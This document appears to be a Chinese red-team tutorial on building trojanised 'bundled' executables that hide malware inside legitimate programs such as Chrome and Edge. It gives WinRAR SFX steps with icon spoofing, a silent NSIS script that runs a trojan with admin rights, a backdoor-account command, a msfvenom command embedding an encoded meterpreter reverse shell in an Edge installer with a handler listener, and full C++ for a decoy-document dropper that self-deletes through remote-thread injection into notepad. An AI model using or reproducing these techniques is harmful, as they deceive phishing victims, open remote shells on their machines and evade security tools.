捆绑程序捆绑程序利用Winrar创建SFX(自解压)打包捆绑恶意程序与合法程序相关链接NSIS捆绑程序OpenArk捆绑程序制作步骤msfvenom捆绑程序cpp实现捆绑程序(TODO)threadProcmain从资源中提取 .docx 文件打开 .docx 文件实现自删除TODO利用Winrar创建SFX(自解压)打包捆绑恶意程序与合法程序X 上的 Binni Shah:“Embed A Malicious Executable in a Normal PDF or EXE : https://t.co/Uko8EQhzFj https://t.co/512NXzey0d” / X (twitter.com)
在普通 PDF 或 EXE 中嵌入恶意可执行文件 |作者:萨姆·罗斯利斯伯格 |中等的 --- Embed A Malicious Executable in a Normal PDF or EXE | by Sam Rothlisberger | Medium
WinRAR 归档程序,处理 RAR 和 ZIP 文件的强大工具 --- WinRAR archiver, a powerful tool to process RAR and ZIP files (rarlab.com)
自解压捆绑文件钓鱼 - the苍穹 - 博客园 (cnblogs.com)
可以在 WinRAR archiver, a powerful tool to process RAR and ZIP files (rarlab.com) 下载 WinRAR, 使用 Winrar 将恶意软件和合法软件捆绑起来, 通过合法软件调用恶意软件在一定程度上可以绕过EDR
可以在 383 chrome icons - Iconfinder 查找目标合法软件的图标并下载 PNG 文件
可以使用 https://iconconverter.com 将 PNG 转换成 ICO 图标
文中提到的这个网站我刚问不到, 拿 Go 写了个转换程序: DailyNotesCode/Go/usecase/Picture/ToICO/main.go at main · Ayusummer/DailyNotesCode (github.com)
常见程序 ICO 分辨率:
选中 Chrome 浏览器快捷方式和恶意程序, 使用 WinRAR Add to Archive 来创建压缩包
起一个合适的名字, 例如 Chrome.exe 并确保选中了 Create SFX archive
继续在 Advance -> SFX options -> Setup 中配置启动项
如果你的恶意程序是阻塞性质的程序那么在写 Run after extraction 的时候如果恶意程序在前则会在其关闭时调起 Chrome, 反之则会在 Chrome 关闭后调起恶意程序
在 Modes 中设置解压到临时目录以及 Hide all
在 383 chrome icons - Iconfinder 查找目标合法软件的图标并下载 PNG 文件, 然后用工具转换成 ICO 文件并在 Text and icon -> Load SFX icon from the file 设置 ico 图标
在 Update 中选择 Extract and update files 以及 Overwrite all files
最后逐级确定即可收获一个名为 Chrome.exe 且带有合适图标的可执行程序
此时执行 Chrome.exe 即可打开 Chrome 并执行恶意程序
PS: 如果你的恶意程序是阻塞性质的程序那么在写 Run after extraction 的时候如果恶意程序在前则会在其关闭时调起 Chrome, 反之则会在 Chrome 关闭后调起恶意程序
相关链接钓鱼姿势汇总 - 简书 (jianshu.com)常见钓鱼招式 - 先知社区 (aliyun.com)红队攻防系列之花式鱼竿钓鱼篇 - 先知社区 (aliyun.com)NSIS捆绑程序捆绑马的制作 - yanq的个人博客 (saucer-man.com)
NSIS(Nullsoft Scriptable Install System)是一个专业的开源系统,用于创建 Windows 安装程序。
NSIS 可以用于创建能够安装、卸载、设置系统设置、提取文件等的安装程序。基于脚本文件,所以使用简单方便,同时也是免费软件,无需破解,其下载地址为https://nsis.sourceforge.io/Download
NSIS 是编译器,需要编写nsi脚本然后编译。
配置 NSIS 环境变量, 以便后续可以方便调用 makensis.exe, 默认路径为
C:\Program Files (x86)\NSIS
C:\Program Files (x86)\NSIS\Bin安装 VSCode 扩展 NSIS
编写如下 nsis 文件, 具体可参阅 NSIS Users Manual (sourceforge.io)
; 设置编译结果的输出文件
OutFile "安装包.exe"
; 设置exe的图标
Icon "1.ico"
; 直接请求uac 提权
RequestExecutionLevel admin
!include "FileFunc.nsh"
; 静默安装,调试的时候可以把这个关了,实际运行的时候要开静默
SilentInstall silent
; 初始化脚本
; 安装程序开始执行之前完成的任务
; 这里可以检查木马文件是否已经存在了,但是这里我先不做这么多
Function .onInit
FunctionEnd
; 开始安装步骤1,将"木马.exe"复制到"$TEMP\xxxxx"
Section "Section1" SEC01
; 这里设置一个目录,下面的文件都会被释放到这个目录底下,目录不存在的话会自动创建目录
SetOutPath "$TEMP\xxxxx"
; 指定安装包在打包时要包含进那些文件,安装时会将"木马.exe"释放到"$TEMP\xxxxx"
File "木马.exe"
SectionEnd
; 开始安装步骤2,将"正常文件.exe"复制到"$TEMP\xxxx2"
Section "Section2" SEC02
SetOutPath "$TEMP\xxxx2"
File "正常文件.exe"
SectionEnd
; 会在安装成功后执行,这里就直接执行exe就好了
Function .onInstSuccess
Exec "$TEMP\xxxxx\木马.exe"
Exec "$TEMP\xxxx2\正常文件.exe
; 打开文档可以用下面的命令
; ExecShell open "$TEMP\测试文档.docx"
FunctionEnd例如
OutFile "MicrosoftEdgeSetupNSIS.exe"
Icon "IDR_MAINFRAME.ico"
RequestExecutionLevel admin
!include "FileFunc.nsh"
SilentInstall silent
Function .onInit
FunctionEnd
Section "Section1" SEC01
SetOutPath "$TEMP"
File "msedge.exe"
SectionEnd
Section "Section2" SEC02
SetOutPath "$TEMP"
File "MicrosoftEdgeSetup.exe"
SectionEnd
Function .onInstSuccess
Exec "$TEMP\msedge.exe"
Exec "$TEMP\MicrosoftEdgeSetup.exe"
FunctionEnd然后呼出 VSCode 命令面板(Ctrl+Shift+P), 输入 nsis 选择 NSIS:Create Build Task
这会在当前项目根目录创建一个 .vscode/task.json 文件, 内容大概如下:
接下来将窗口切回到刚才编写的 NSIS 文件, Ctrl+Shift+P 呼出命令面板, 选择 Tasks:Run Build Task
这将会根据 tasks.json 中的配置来 build 当前 nsis 任务
运行编译生成文件会弹出 UAC 授权窗口, 点击确定后即会运行程序
运行恶意程序上线攻击机并且运行正常程序下载 Microsoft Edge:
OpenArk捆绑程序制作一个捆绑程序 - OpenArk Manuals (blackint3.com)
OpenArk/doc/README-zh.md at master · BlackINT3/OpenArk · GitHub
OpenArk是一款Windows平台上的开源Ark工具. Ark是Anti-Rootkit(对抗恶意程序)的简写, OpenArk目标成为逆向工程师、编程人员的工具,同时也能为那些希望清理恶意软件的用户服务。
可以在 Releases · BlackINT3/OpenArk (github.com) 下载 OpenArk
捆绑程序是将一个或多个程序绑定成一个独立的exe,避免依赖的文件(如DLL)过多而影响传输/存储,常用于一些恶意软件。 OpenArk的Bundler即是这样一个功能,支持文件以及文件夹等捆绑成一个exe,同样支持脚本。
制作步骤制作一个捆绑程序 - OpenArk Manuals (blackint3.com) 文档中讲述了捆绑合法程序以及新建用户命令和vbs.bat脚本的方法, 这里演示捆绑合法程序和恶意程序
这里选择捆绑恶意程序和 MSEdge, edge 直接捆绑个快捷方式就行了, 将恶意程序和 edge快捷方式放到一个文件夹中并将该文件夹拖入到 OpenArk 的 Bundler 中(默认管理员)(或者使用右上角选择文件夹 按钮指定目标文件夹)
在左下角 启动脚本 区域写入要执行的脚本, 例如这里应当是启动恶意程序以及合法程序
call %root%/./msedge.exe
call %root%/./Microsoft Edge.lnk
clean //清理释放后的文件PS: 一些额外启动脚本代码示例:
cmd net user shadow 123 /add //添加一个用户shadow
start cmd /c %root%\shadow.bat //执行测试的bat
start wscript %root%\shadow.vbs //执行测试vbs点击左下角 选择图标 按钮选择生成程序的图标然后点击右下角的 生成 按钮即可生成捆绑程序
msfvenom捆绑程序msf之木马程序-腾讯云开发者社区-腾讯云 (tencent.com)
【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】-CSDN博客
准备好目标程序(这里选择了Microsoft Edge安装包, 放在了 /root/temp/MicrosoftEdgeSetup.exe)
使用 msfvenom 生成捆绑木马
msfvenom -p windows/meterpreter/reverse_http lhost=100.1.1.131 lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x /root/temp/MicrosoftEdgeSetup.exe > /root/temp/out/MicrosoftEdgeSetup.exe-p:指定后面的 payload
windows/meterpreter/reverse_tcp:申明这是一个windows系统下的一个反弹http
LHOST=192.168.0.108,:设置反弹回来的ip,即你的kali的ip地址
lport 反弹端口(默认返回端口是4444)
-e: 指定编码器 x86/shikata_ga_nai
-i: 指定编码次数
-f: 捆绑的文件类型,这里是一个exe文件
-b: 指定需要避开的坏字符(通常是由于这些字符在payload中会引起问题)
这里是避免使用\x00(null字节)、\x0a(换行符)和\x0d(回车符)。
-x:指定捆绑的文件路径
-o:指定生成木马的文件路径
msconsole 起监听
msfconsole
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_http
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 100.1.1.131
lhost => 100.1.1.131
msf6 exploit(multi/handler) > set lport 55555
lport => 55555
msf6 exploit(multi/handler) > run靶机执行生成的捆绑程序即可上线
或者 CS 起个 http 监听器挂在 55555 端口, 靶机运行捆绑木马即可上线 CS
cpp实现捆绑程序(TODO)奇安信攻防社区-关于文件捆绑的实现 (butian.net)
https://chatgpt.com/share/a5f99e0a-eec2-4616-9d24-dafde74733f1
上述文章中作者编写了如下程序, 运行该程序会创建一个新的 .docx 文件,并将资源文件的内容写入该文件。
打开 .docx 文件。
创建一个 notepad.exe 进程,并将删除当前程序的操作注入到该进程中,从而实现自删除功能。
当前程序实现的效果是执行 exe 后读取并生成 docx 文件然后删除 exe 文件, 需要后续修改来调用其他捆绑程序, 或者直接在当前项目中编写恶意行为
使用 VisualStudio 创建一个 C++ 空项目添加下文中的 Bundled.h 头文件和 Bundled.cpp 源文件
添加资源文件
这里 资源类型 直接手打个 docx 即可
之后在 资源视图 中可以看到加入的资源
以这种方式添加的资源会被打包进程序中
可以右键资源项目查看资源符号
这个资源符号值后续会用到, 用来读取该资源
Bundled.h
// #pragma once 确保头文件只会被包含一次
#pragma once
// Windows API的头文件
#include
typedef struct DeleteStruct
{
FARPROC dwDeleteFile;
CHAR dwDeleteFile_param_1[MAX_PATH];
};
typedef BOOL(WINAPI* wDeleteFileA)(
_In_ LPCSTR lpFileName
);定义了一个结构体 DeleteStruct,包含两个成员:
dwDeleteFile:保存函数指针。dwDeleteFile_param_1:保存要删除的文件名。定义了一个函数指针类型 wDeleteFileA,对应于Windows API的 DeleteFileA 函数
WINAPI
WINAPI 是一个调用约定,定义为 __stdcall,用于指示函数的参数从右到左压入堆栈,并由被调用函数清理堆栈。这是 Windows API 函数的标准调用约定。
(*wDeleteFileA)
(*wDeleteFileA) 定义了一个名为 wDeleteFileA 的指针,这个指针指向一个符合特定签名的函数。
参数列表 (_In_ LPCSTR lpFileName)
参数列表描述了该函数指针指向的函数所接受的参数类型:
_In_ 是一个 SAL(Source Annotation Language)注释,指示参数是输入参数。LPCSTR 是一个指向常量字符串的指针,表示该函数接受一个指向常量字符串的指针作为参数。总的来说定义了一个名为 wDeleteFileA 的新类型,这个类型是一个指向具有以下签名的函数的指针:
返回类型为 BOOL(一个布尔值)。调用约定为 WINAPI(Windows API 标准调用约定)。接受一个参数:类型为 LPCSTR,即一个指向常量字符串的指针,表示文件名。Bundled.cpp
#include
#include
#include "Bundled.h"
DWORD64 WINAPI threadProc(LPVOID lParam) {
INT RET = 20000;
for (size_t i = 0; i < 20000; i++)
{
RET = RET - 1;
}
//循环一下起延时作用,防止线程创建了文件还没有关系,这样删除就失败了
wDeleteFileA kDeleteFileA;
DeleteStruct* DS = (DeleteStruct*)lParam;
kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;
kDeleteFileA(DS->dwDeleteFile_param_1);
//删除文件
return RET;
}
int main(int argc, char* argv[])
{
CHAR PathFileName[MAX_PATH] = { 0 };
CHAR FileName[MAX_PATH] = { 0 };
HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
//得到资源文件HRSRC句柄
HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
//得到资源文件ResourceGlobal句柄
DWORD FileSize = SizeofResource(NULL, Resource);
//得到资源文件的大小
LPVOID PFILE = LockResource(ResourceGlobal);
//得到指向资源文件内容的指针
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
//当前进程的路径和名称
strcpy_s(FileName, strrchr(PathFileName, '\\')+1);
/*
strrchr得到第二个参数最后出现的位置
d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe
所以需要+1把\\去掉
最后得到了完整的文件名
用strcpy_s把文件名复制到FileName中
*/
for (size_t i = 0; i < MAX_PATH; i++)
{
if(FileName[i] == '.')
{
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}
//循环找文件名中的.,找到后将文件名的后缀改为docx
//这个步骤主要是为了方便,以后只需要改exe的名称不需要到代码中来改
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
//创建文件名相同的文件
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
// 把资源文件中的内容写入
SHELLEXECUTEINFOA shellexecute = { 0 };
shellexecute.cbSize = sizeof(shellexecute);
shellexecute.lpFile = FileName;
shellexecute.nShow = SW_SHOW;
ShellExecuteExA(&shellexecute);
//打开docx文件
//下面是实现自删除,网上的自删除方法有很多,用的多的是批处理,这里是创建一个进程然后用远程线程注入来让notepad删除当前程序
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);
//创建进程
DeleteStruct DS;
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);
//创建远程线程不能直接使用API,需要把函数指针放在结构中传过去
//这里需要DeleteFileA这个函数,用GetProcAddress得到指针后传过去
LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);
//为函数开辟一块内存
LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);
DWORD RETSIZE;
//为参数开辟一块内存
HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);
//执行该线程
CloseHandle(Thread);
//关闭句柄
}线程过程 threadProc 在主函数 main line82 被调用 这是一个在远程进程中运行的线程函数。先进行了一个简单的延时循环,目的是防止线程创建了文件还没有关闭。从 lParam 中获取传递过来的结构体 DeleteStruct。从结构体中获取 DeleteFileA 函数指针并调用它删除文件。主函数 main获取当前进程的路径和名称。将当前文件的扩展名改为 .docx。创建一个同名的 .docx 文件,并将资源文件内容写入该文件。使用 ShellExecuteExA 打开该 .docx 文件。创建一个新的 notepad.exe 进程,用于删除当前程序。使用 VirtualAllocEx 在远程进程中分配内存,用于存储线程函数和参数。使用 WriteProcessMemory 将线程函数和参数写入远程进程的内存中。使用 CreateRemoteThread 创建一个远程线程来执行删除操作。代码详解:
threadProcthreadProc 函数实现了删除特定文件的功能。
DWORD64 WINAPI threadProc(LPVOID lParam) {
INT RET = 20000;
for (size_t i = 0; i < 20000; i++)
{
RET = RET - 1;
}
//循环一下起延时作用,防止线程创建了文件还没有关系,这样删除就失败了
wDeleteFileA kDeleteFileA;
DeleteStruct* DS = (DeleteStruct*)lParam;
kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;
kDeleteFileA(DS->dwDeleteFile_param_1);
//删除文件
return RET;
}DWORD64 WINAPI threadProc(LPVOID lParam)
返回类型 DWORD64
DWORD64 是一个64位无符号整数,表示函数的返回值类型。
调用约定 WINAPI
WINAPI 定义了函数的调用约定,通常是 __stdcall,用于指定函数参数的传递方式和堆栈清理方式。
参数 LPVOID lParam
LPVOID 是一个指向任意类型的指针,表示传递给线程的参数。
//循环一下起延时作用,防止线程创建了文件还没有关系,这样删除就失败了
INT RET = 20000;
for (size_t i = 0; i < 20000; i++)
{
RET = RET - 1;
}这段程序本意是做个时延, 防止进程创建时文件还没有关联从而导致文件删除失败, 不过这个时延效果有限, CPU 执行 20000 次递减运算还是很快的, 打log几乎看不出来时延, 不清楚这里这样写是为了什么, 可能是为了规避对 sleep 的关联检测之类的? 这就不太清楚了
这里可以修改为使用 Sleep 10ms
# 定义函数指针
wDeleteFileA kDeleteFileA;
# 将传入参数转换为结构体指针
DeleteStruct* DS = (DeleteStruct*)lParam;
# 从结构体中获取函数指针
kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;
# 调用函数删除文件
kDeleteFileA(DS->dwDeleteFile_param_1);定义函数指针
wDeleteFileA kDeleteFileA;wDeleteFileA 是一个函数指针类型
typedef BOOL (WINAPI* wDeleteFileA)(LPCSTR lpFileName);kDeleteFileA 是一个指向这种类型函数的指针。wDeleteFileA 代表了指向 DeleteFileA 函数的指针,DeleteFileA 是 Windows API 用于删除文件的函数。
将传入参数转换为结构体指针
lParam 是传入的参数,被转换为指向 DeleteStruct 结构体的指针:
typedef struct DeleteStruct {
FARPROC dwDeleteFile;
CHAR dwDeleteFile_param_1[MAX_PATH];
};dwDeleteFile:指向 DeleteFileA 函数的指针dwDeleteFile_param_1:要删除的文件路径从结构体中获取函数指针
kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;将结构体成员 dwDeleteFile 强制转换为 wDeleteFileA 类型,并赋值给 kDeleteFileA。这样,kDeleteFileA 就指向 DeleteFileA 函数。
调用函数删除文件
kDeleteFileA(DS->dwDeleteFile_param_1);mainmain 函数实现了如下功能
从资源中提取一个 .docx 文件,并将其保存到磁盘上。打开这个 .docx 文件。通过创建和注入远程线程的方式,让另一个进程(notepad.exe)删除当前程序(自删除)。int main(int argc, char* argv[])
{
CHAR PathFileName[MAX_PATH] = { 0 };
CHAR FileName[MAX_PATH] = { 0 };
// 1. 从资源中提取 `.docx` 文件
HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
//得到资源文件HRSRC句柄
HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
//得到资源文件ResourceGlobal句柄
DWORD FileSize = SizeofResource(NULL, Resource);
//得到资源文件的大小
LPVOID PFILE = LockResource(ResourceGlobal);
//得到指向资源文件内容的指针
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
//当前进程的路径和名称
strcpy_s(FileName, strrchr(PathFileName, '\\')+1);
/*
strrchr得到第二个参数最后出现的位置
d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe
所以需要+1把\\去掉
最后得到了完整的文件名
用strcpy_s把文件名复制到FileName中
*/
for (size_t i = 0; i < MAX_PATH; i++)
{
if(FileName[i] == '.')
{
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}
//循环找文件名中的.,找到后将文件名的后缀改为docx
//这个步骤主要是为了方便,以后只需要改exe的名称不需要到代码中来改
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
//创建文件名相同的文件
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
// 把资源文件中的内容写入
// 2. 打开 .docx 文件
SHELLEXECUTEINFOA shellexecute = { 0 };
shellexecute.cbSize = sizeof(shellexecute);
shellexecute.lpFile = FileName;
shellexecute.nShow = SW_SHOW;
ShellExecuteExA(&shellexecute);
//打开docx文件
// 3. 实现自删除
//下面是实现自删除,网上的自删除方法有很多,用的多的是批处理,这里是创建一个进程然后用远程线程注入来让notepad删除当前程序
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);
//创建进程
DeleteStruct DS;
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);
//创建远程线程不能直接使用API,需要把函数指针放在结构中传过去
//这里需要DeleteFileA这个函数,用GetProcAddress得到指针后传过去
LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);
//为函数开辟一块内存
LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);
DWORD RETSIZE;
//为参数开辟一块内存
HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);
//执行该线程
CloseHandle(Thread);
//关闭句柄
}从资源中提取 .docx 文件CHAR PathFileName[MAX_PATH] = { 0 }; // 初始化当前文件路径
CHAR FileName[MAX_PATH] = { 0 }; // 初始化当前文件名
// 1. 从资源中提取 `.docx` 文件
HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
//得到资源文件HRSRC句柄
HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
//得到资源文件ResourceGlobal句柄
DWORD FileSize = SizeofResource(NULL, Resource);
//得到资源文件的大小
LPVOID PFILE = LockResource(ResourceGlobal);
//得到指向资源文件内容的指针
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
//当前进程的路径和名称
strcpy_s(FileName, strrchr(PathFileName, '\\')+1);
/*
strrchr得到第二个参数最后出现的位置
d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe
所以需要+1把\\去掉
最后得到了完整的文件名
用strcpy_s把文件名复制到FileName中
*/
for (size_t i = 0; i < MAX_PATH; i++)
{
if(FileName[i] == '.')
{
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}
//循环找文件名中的.,找到后将文件名的后缀改为docx
//这个步骤主要是为了方便,以后只需要改exe的名称不需要到代码中来改
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
//创建文件名相同的文件
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
// 把资源文件中的内容写入使用 FindResourceA、LoadResource、SizeofResource 和 LockResource 函数获取资源文件的内容。使用 GetModuleFileNameA 获取当前可执行文件的路径,并提取文件名。修改文件名的后缀为 .docx。使用 CreateFileA 创建一个与当前可执行文件同名的 .docx 文件,并使用 WriteFile 将资源内容写入文件。获取资源句柄
HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
使用 FindResourceA 函数获取资源的句柄
NULL:指向包含资源的模块句柄,NULL 表示当前模块MAKEINTRESOURCEA(101):资源的标识符,这里使用的是整数 101"docx":资源类型对应前面项目资源中插入的这个 docx 文件
HRSRC 是一个句柄类型,用于标识资源在内存中的位置。具体来说,它是一个资源句柄,用于表示在资源文件(如 .exe 或 .dll 文件)中定义的资源。
在 Windows API 中,HRSRC 是一个宏,定义如下:
typedef HANDLE HRSRC;HANDLE 是一个通用的句柄类型,用于表示各种对象和资源的句柄。通过使用 HRSRC 这个类型,Windows API 可以统一处理资源句柄,并在函数之间传递这些句柄。
下面是一些与 HRSRC 类型相关的函数:
FindResource / FindResourceA / FindResourceW:用于查找资源,并返回一个 HRSRC 类型的资源句柄。LoadResource:用于加载资源,并返回一个 HGLOBAL 类型的全局句柄。SizeofResource:用于获取资源的大小。LockResource:用于锁定资源,并返回一个指向资源内容的指针。通过这些函数,可以在程序中访问并操作资源文件中的资源。
加载资源
HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
使用 LoadResource 函数加载资源,并返回资源的全局句柄。
hModule: 一个模块的句柄,其中包含资源
NULL 表示当前模块。
hResInfo: 资源句柄,标识要加载的资源。这个句柄是通过 FindResource 函数获取的。
返回 HGLOBAL 类型的句柄,该句柄标识资源的内存块
获取资源大小
DWORD FileSize = SizeofResource(NULL, Resource);
使用 SizeofResource 函数获取资源的大小。
hModule: 一个模块的句柄,其中包含资源
NULL 表示当前模块。
hResInfo: 资源句柄,标识要查询的资源。这个句柄是通过 FindResource 函数获取的。
返回指定资源的大小(以字节为单位)。
如果函数失败,返回值为 0。要获取更多的错误信息,可以调用 GetLastError 函数
锁定资源
LPVOID PFILE = LockResource(ResourceGlobal);
使用 LockResource 函数锁定资源,并返回指向资源内容的指针。
hResData: 资源的全局句柄。这个句柄是通过 LoadResource 函数获取的。在这段代码中,它是 ResourceGlobal。返回一个指向资源数据的指针。
执行锁定资源这一步(LockResource)的主要原因是为了获得一个指向资源数据的指针,从而可以直接访问和操作资源内容
尽管 LockResource 名字中包含“锁定”一词,它实际上并不锁定资源或对其进行任何同步操作。资源数据在加载到内存后,其位置通常是固定的。LockResource 提供了一个指向这块内存的指针,确保程序可以稳定地访问这块内存中的数据。
所以与其叫锁定不如叫定位(
LockResource 返回一个指向资源数据的指针(LPVOID),这允许程序直接访问和读取资源的数据内容,而无需进行额外的内存复制操作。
后面写入文件内容时有用到返回的 PFILE 资源内容指针
获取当前可执行文件的路径和名称
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);使用 GetModuleFileNameA 函数获取当前可执行文件的完整路径和名称,并存储在 PathFileName 中。
GetModuleFileNameA(NULL, PathFileName, MAX_PATH); 是一个调用,用于获取当前模块(通常是当前可执行文件)的文件名和路径,并将其存储在缓冲区中
hModule: 模块句柄,指示从哪个模块中获取文件名
NULL 指示函数返回包含调用进程的可执行文件的路径
lpFilename: 一个指向缓冲区的指针,用于接收模块的文件名和路径
nSize: 缓冲区的大小,以字符为单位
MAX_PATH 通常定义为 260,表示缓冲区大小足够大,可以存储大多数路径名
修改文件后缀为 .docx
//当前进程的路径和名称
strcpy_s(FileName, strrchr(PathFileName, '\\')+1);
/*
strrchr得到第二个参数最后出现的位置
d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe
所以需要+1把\\去掉
最后得到了完整的文件名
用strcpy_s把文件名复制到FileName中
*/
for (size_t i = 0; i < MAX_PATH; i++)
{
if (FileName[i] == '.')
{
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}先使用 strrchr 函数找到路径中最后一个反斜杠的位置,然后使用 strcpy_s 函数将路径中的文件名部分复制到 FileName 中。接着,遍历 FileName,找到文件名中的 .,将其后的字符改为 docx,以更改文件
这里 FileName 字符数组的大小还是蛮大的, 后缀修改为 docx 后还有多余的数组空间, 为了避免编码等问题导致的文件名异常, 最好还是加一行
FileName[i + 5] = '\0'; // 添加空字符终止字符串创建文件并写入资源内容
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);使用 CreateFileA 函数创建一个与当前可执行文件同名的 .docx 文件,并使用 WriteFile 函数将资源内容写入该文件。
lpFileName: 文件名或设备名,作为文件创建或打开的目标
这里是 FileName,即前面修改了后缀的文件名
dwDesiredAccess: 指定所请求的访问权限
FILE_ALL_ACCESS 代表对文件的完全访问权限。
dwShareMode: 指定文件共享模式
0 表示文件不能被其他进程共享,独占访问
lpSecurityAttributes: 一个指向 SECURITY_ATTRIBUTES 结构的指针,指定文件的安全属性
NULL 表示默认安全属性
dwCreationDisposition: 指定如何创建文件
CREATE_ALWAYS 表示如果文件存在,将覆盖旧文件,如果文件不存在,将创建新文件
dwFlagsAndAttributes: 指定文件或设备的属性和标志
0 表示使用默认属性。
hTemplateFile: 用于创建文件的模板文件的句柄
NULL 表示不使用模板。
如果函数成功,返回一个文件句柄,用于后续的文件操作。
如果函数失败,返回 INVALID_HANDLE_VALUE,可以通过 GetLastError 函数获取错误信息。
DWORD 是在 Windows 编程中常用的类型,定义在 Windows 头文件中,表示 32 位无符号整数。
DWORD 类型的变量可以存储从 0 到 4,294,967,295 的整数。
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
hFile: 文件句柄,由 CreateFile 返回, 这里是 FILE。
lpBuffer: 指向要写入文件的数据缓冲区。这里是前面 LockResource 返回的 PFILE,即资源数据指针
nNumberOfBytesToWrite: 要写入文件的字节数。这里是前面 SizeofResource 返回的 FileSize,即资源文件的大小
lpNumberOfBytesWritten: 一个指向变量的指针,该变量接收实际写入的字节数, 这里是 &dwSize。
lpOverlapped: 一个指向 OVERLAPPED 结构的指针,用于异步操作。
NULL 表示同步写入
如果函数成功,返回非零值,并且 lpNumberOfBytesWritten 接收实际写入的字节数。
打开 .docx 文件// 2. 打开 .docx 文件
SHELLEXECUTEINFOA shellexecute = { 0 };
shellexecute.cbSize = sizeof(shellexecute);
shellexecute.lpFile = FileName;
shellexecute.nShow = SW_SHOW;
ShellExecuteExA(&shellexecute);使用 SHELLEXECUTEINFOA 结构体和 ShellExecuteExA 函数打开 .docx 文件。
SHELLEXECUTEINFOA shellexecute = { 0 };SHELLEXECUTEINFOA 是一个结构体,用于存储执行操作所需的参数。
= { 0 } 用于将结构体的所有成员初始化为零。
shellexecute.cbSize = sizeof(shellexecute);cbSize 成员表示结构体的大小,以字节为单位。必须正确设置此值,Windows API 才能正确解析结构体内容。
shellexecute.lpFile = FileName;lpFile 成员是一个指向要操作的文件或程序名的指针。这里设置为 FileName,即之前创建和写入的 .docx 文件名
shellexecute.nShow = SW_SHOW;nShow 成员指定应用程序窗口的显示方式。SW_SHOW 表示窗口将被显示并激活。
